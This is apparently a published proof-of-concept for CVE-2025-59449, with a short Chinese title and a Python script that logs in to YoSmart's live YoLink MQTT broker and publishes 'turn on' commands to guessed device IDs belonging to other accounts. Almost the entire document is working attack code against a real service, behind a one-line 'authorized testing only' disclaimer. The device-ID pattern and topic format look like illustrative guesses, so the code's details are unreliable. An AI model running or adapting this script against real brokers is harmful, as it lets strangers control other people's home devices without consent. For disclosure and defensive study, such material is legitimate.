CVE-2025-59449 YoSmart YoLink MQTT代理授权控制不足漏洞

# CVE-2025-59449 PoC - YoSmart YoLink MQTT Cross-Account Attack # This PoC demonstrates the insufficient authorization in YoLink MQTT broker # allowing cross-account device control via predictable device IDs import paho.mqtt.client as mqtt import json import time import itertools import string # YoSmart MQTT broker configuration MQTT_BROKER = "mqtt.yosmart.com" MQTT_PORT = 8883 MQTT_USERNAME = "[email protected]" # Attacker's own credentials MQTT_PASSWORD = "attacker_password" # Attacker's own password def on_connect(client, userdata, flags, rc): if rc == 0: print(f"[*] Connected to YoLink MQTT broker with result code {rc}") else: print(f"[!] Connection failed with code {rc}") def on_message(client, userdata, msg): print(f"[*] Received message on topic {msg.topic}: {msg.payload.decode()}") def predict_device_ids(base_pattern, count=100): """ Predict YoLink device IDs based on known patterns. Device IDs are sequential or follow a predictable pattern. """ predicted_ids = [] for i in range(count): # YoLink device IDs typically follow patterns like UUIDs # but with predictable segments device_id = f"{base_pattern}-{i:04d}" predicted_ids.append(device_id) return predicted_ids def craft_control_message(device_id, action="on"): """ Craft MQTT control message for a target YoLink device. """ # YoLink MQTT topic format for device control topic = f"yl-home/{device_id}/control" # Control payload - e.g., turn device on/off payload = json.dumps({ "action": action, "timestamp": int(time.time()), "source": "attacker" }) return topic, payload def exploit(): # Step 1: Connect to MQTT broker with attacker's own credentials client = mqtt.Client(client_id="attacker_client") client.username_pw_set(MQTT_USERNAME, MQTT_PASSWORD) client.tls_set() # Use TLS encryption client.on_connect = on_connect client.on_message = on_message print("[*] Connecting to YoLink MQTT broker...") client.connect(MQTT_BROKER, MQTT_PORT, 60) client.loop_start() time.sleep(2) # Step 2: Predict target device IDs print("[*] Predicting target device IDs...") target_device_ids = predict_device_ids("dev_abc123", count=50) # Step 3: Attempt cross-account control for device_id in target_device_ids: topic, payload = craft_control_message(device_id, action="on") print(f"[*] Attempting to control device: {device_id}") # Publish control command to target device result = client.publish(topic, payload, qos=1) if result.rc == mqtt.MQTT_ERR_SUCCESS: print(f"[+] Control command sent to {device_id}") else: print(f"[-] Failed to send command to {device_id}") time.sleep(0.5) client.loop_stop() client.disconnect() print("[*] Exploit completed") if __name__ == "__main__": print("=" * 60) print("CVE-2025-59449 - YoSmart YoLink MQTT Cross-Account Attack") print("Disclaimer: For authorized security testing only") print("=" * 60) exploit()